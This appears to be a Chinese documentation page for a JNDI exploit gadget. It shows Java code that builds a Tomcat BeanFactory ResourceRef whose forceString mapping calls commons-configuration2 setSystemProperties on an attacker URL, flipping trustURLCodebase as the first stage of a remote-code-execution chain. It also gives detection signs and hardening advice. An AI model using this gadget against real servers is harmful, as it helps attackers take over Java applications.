Skip to content

Latest commit

 

History

History
114 lines (87 loc) · 12 KB

File metadata and controls

114 lines (87 loc) · 12 KB

configuration2 修改系统属性(SystemConfigurationRef2)

  • 类别jndi 别名:— 优先级:—(默认)
  • 作者:—
  • 依赖tomcat(提供 org.apache.naming.factory.BeanFactory / ResourceRef,即 tomcat-catalina)、common-configuration2org.apache.commons.configuration2
  • 实现Gadgetimplements Gadget,无基类)

作用

构造一个以 Tomcat 的 org.apache.naming.factory.BeanFactory 为对象工厂、以 org.apache.commons.configuration2.SystemConfiguration 为目标 Bean 的 org.apache.naming.ResourceRef。当受害端对该 Reference 发起 JNDI 解析时,借助 BeanFactory 的 forceString 机制,把本应是「属性 setter」的调用改写为直接调用单 String 入参方法 SystemConfiguration.setSystemProperties(String),从而让服务器加载攻击者指定的远程 properties 文件并将其内容写入 JVM 系统属性。典型用途是远程置入 com.sun.jndi.ldap.object.trustURLCodebase=true,为后续的 JNDI 远程 codebase 加载「解锁」,属于两阶段 JNDI 绕过中的第一阶段(改环境)。它本身不直接 RCE。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactoryEND
    • ResourceRef:本 gadget 产出物是一个 org.apache.naming.ResourceRef 对象,可被上游「产出/投递 JNDI Reference」的环节(nextTags 指向 ResourceRef/Reference 的入口,如 LDAP/RMI Reference 投递、context.lookup 触发点)衔接。
    • TomcatBeanFactory:进一步标明该 Reference 依赖 Tomcat 的 BeanFactory 作为 factoryClassName 才能被实例化解析,用于与非 Tomcat 的 JNDI 手法区分。
    • END:链尾终端——自身即最终 payload 对象,其后不再嵌套更内层 gadget。
  • 衔接 nextTags:(空)。作为 END 终端,invoke 不调用 chain.doCreate,不消费下游。
  • excludes:(空)。

源码剖析

全部逻辑集中在 getObject()invoke 直接透传:

@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
@GadgetAnnotation(name="configuration2 修改系统属性",
    description="factory: org.apache.naming.factory.BeanFactory\n通过BeanFactory调用单String方法:"
              + "org.apache.commons.configuration2.SystemConfiguration#setSystemProperties(),实现修改系统属性\n"
              + "远程加载的文件内容为:com.sun.jndi.ldap.object.trustURLCodebase=true",
    dependencies={"tomcat", "common-configuration2"})
public class SystemConfigurationRef2 implements Gadget {
    @Param(name="url链接", description="加载远程properties文件的http地址, eg: http://127.0.0.1/exp.properties")
    public String url;

    public Reference getObject() throws Exception {
        ResourceRef ref = new ResourceRef(
            "org.apache.commons.configuration2.SystemConfiguration",   // ① 目标 Bean 类名
            null, "", "", true,
            "org.apache.naming.factory.BeanFactory",                   // ② 对象工厂 = Tomcat BeanFactory
            null);
        ref.add((RefAddr)new StringRefAddr("forceString", "x=setSystemProperties"));  // ③ 强制方法映射
        ref.add((RefAddr)new StringRefAddr("x", this.url));                            // ④ 方法实参 = 远程 URL
        return ref;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段解释:

  • ① 目标 Bean 类名ResourceRef 的第 1 个参数是 className,此处为 org.apache.commons.configuration2.SystemConfiguration。JNDI 解析时 BeanFactoryClass.forName(className).newInstance() 实例化它——因此目标环境的 classpath 必须存在 commons-configuration2,且该类具备公有无参构造。
  • ② 对象工厂 = BeanFactory:第 6 个参数 factoryClassName 指定为 org.apache.naming.factory.BeanFactory。当 javax.naming.spi.NamingManager.getObjectInstance 处理这个 ResourceRef 时,会加载并调用该工厂的 getObjectInstance(),把「解析引用」变成「实例化并配置一个 Bean」。这是 Tomcat 环境特有的能力(tomcat-catalina 提供),也是 TomcatBeanFactory 标签的由来。
  • forceString 强制方法映射BeanFactory 默认只会对每个属性 p 反射调用其 setter setP(String)。而 forceString 是 BeanFactory 的特殊保留地址:其值形如 属性名=方法名(可逗号分隔多组),会被解析为「属性 x 不再走 setX,而是改为反射查找并调用名为 setSystemProperties、单 String 入参的方法」。这一步把「只能调 setter」放宽成「可调任意 public void m(String) 形态的方法」,是本类的核心技巧。
  • ④ 方法实参 = 远程 URLStringRefAddr("x", this.url) 为属性 x 提供值。结合 ③,最终等效于对新建的 SystemConfiguration 实例执行 setSystemProperties(this.url)SystemConfiguration.setSystemProperties(String) 会以该路径(支持 http URL)加载一个 properties 文件,并把其中每一条 key=value 逐条写入 System.setProperty(key, value)。因此只要远程文件内容为 com.sun.jndi.ldap.object.trustURLCodebase=true,被攻击 JVM 的对应系统属性即被翻转为 true
  • 保留地址BeanFactory 在遍历 RefAddr 时会跳过 factoryscopeauthsingletonforceString 等保留名,故只有属性 x 被当作 Bean 属性处理,构造精确无副作用。
  • invoke 透传invoke 直接 return this.getObject(),不调用 chain.doCreate(context),印证其 END 终端角色——它产出最终对象而非包装内层 gadget。

与同族变体的差异

同目录 overwrite/ 下三兄弟走同一 forceString + ResourceRef 骨架,仅目标类/方法不同:

目标类 强制方法 依赖 传入值
SystemConfigurationRef org.apache.commons.configuration.SystemConfiguration(v1) setSystemProperties common-configuration 远程 properties URL
SystemConfigurationRef2(本条) org.apache.commons.configuration2.SystemConfiguration(v2) setSystemProperties common-configuration2 远程 properties URL
SystemConfigurationRef3 org.apache.groovy.util.SystemUtil setSystemPropertyFrom org.codehaus.groovy:groovy 单条 key=value(默认即 com.sun.jndi.ldap.object.trustURLCodebase=true

Ref 与 Ref2 的唯一区别是 commons-configuration 的大版本configuration vs configuration2,包名从 org.apache.commons.configuration 变为 org.apache.commons.configuration2),据目标 classpath 上实际存在的版本二选一。Ref3 则不依赖 commons-configuration,改用 Groovy 的 SystemUtil.setSystemPropertyFrom(String),直接传单条键值对而非远程文件,无需外连 HTTP。

参数(@Param)

字段 名称 说明 类型 默认 可选值
url url链接 加载远程 properties 文件的 http 地址,例如 http://127.0.0.1/exp.properties;文件内容通常为 com.sun.jndi.ldap.object.trustURLCodebase=true String 无(必填) 自由填写(攻击者可控 HTTP 地址)

适用版本与原理要点

  • 依赖条件:目标须同时具备(a)Tomcat 的 org.apache.naming.factory.BeanFactorytomcat-catalina,Web 应用普遍存在);(b)classpath 上有 commons-configuration2,含 SystemConfiguration.setSystemProperties(String)。二者缺一则本 gadget 不成立。
  • 两阶段绕过定位:自 JDK 6u211/7u201/8u191 起,com.sun.jndi.ldap.object.trustURLCodebase 默认 false,LDAP 引用不再自动从远程 codebase 加载工厂类。本 gadget 的价值在于在运行时把该属性改回 true——第一阶段用它解锁,第二阶段再投递一个带远程 codebase 的 LDAP Reference 完成任意类加载/RCE。它自身仅「改系统属性」,不产出字节码 sink。
  • forceString 通用性forceString 把 BeanFactory 的「setter-only」限制放宽到任意 public m(String) 方法,是 Tomcat BeanFactory JNDI 手法的通用底座(同族 H2/Velocity/EL/BeanShell 等 Ref 皆基于此)。
  • 远程加载setSystemProperties(String) 经 commons-configuration2 的 FileHandler 解析路径,支持 http(s) URL,故 payload 需配一台可访问的 HTTP 服务托管 exp.properties;这会在受害端留下一次出站 HTTP 请求。
  • 无回显:本步骤成功与否无直接回显,实战中通常与第二阶段的 LDAP/RMI 加载连用,通过最终 RCE 效果间接判断。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tagsResourceRef/TomcatBeanFactory)与上游 JNDI 投递/触发环节组合,或与第二阶段的远程 codebase Reference 串联使用。

关联

防御与检测

检测特征

  • JNDI Reference / 序列化流量中出现 factoryClassName == org.apache.naming.factory.BeanFactory,且携带名为 forceStringStringRefAddr(值含 =set...,本例为 x=setSystemProperties)。
  • Reference 的 classNameorg.apache.commons.configuration2.SystemConfiguration(或 v1 org.apache.commons.configuration.SystemConfiguration、Groovy 变体 org.apache.groovy.util.SystemUtil)。
  • 一次 LDAP/RMI lookup 之后,应用服务器向外发起对 *.properties出站 HTTP 请求。
  • 运行期系统属性 com.sun.jndi.ldap.object.trustURLCodebase(或 trustURLCodebase / trustSerialData)被由 false 改写为 true——可通过监控 System.setProperty 或定期校验关键 JNDI 属性发现异常翻转。
  • 紧随其后往往出现第二阶段:带远程 codebase 的 LDAP Reference 加载远程工厂类。

加固建议

  • 严禁将不可信输入传入 InitialContext.lookup() 等 JNDI 解析入口;对 JNDI 名称做严格白名单。
  • 不依赖 trustURLCodebase 默认 false 作为唯一防线——本手法正是运行时改写它;应从「禁止不可信 JNDI 解析」根因治理。
  • 收敛依赖面:无必要时不在 Web 应用 classpath 上共存 commons-configuration2 与 Tomcat BeanFactory 可被外部引用触发的路径。
  • 对关键 JNDI 系统属性加运行时守护/告警(监控 trustURLCodebasetrustSerialData 的变更),并锁定敏感系统属性配置。
  • 网关/WAF 侧对 JNDI Reference 中的 forceString 地址、org.apache.naming.factory.BeanFactory 工厂名进行阻断;限制应用服务器的出站网络(尤其对 LDAP/RMI/HTTP 未知目标)。
  • 升级 JDK 并保持 com.sun.jndi.ldap.object.trustURLCodebase=falsecom.sun.jndi.rmi.object.trustURLCodebase=false 的强制约束(通过启动参数固化,减少被运行时篡改的影响面)。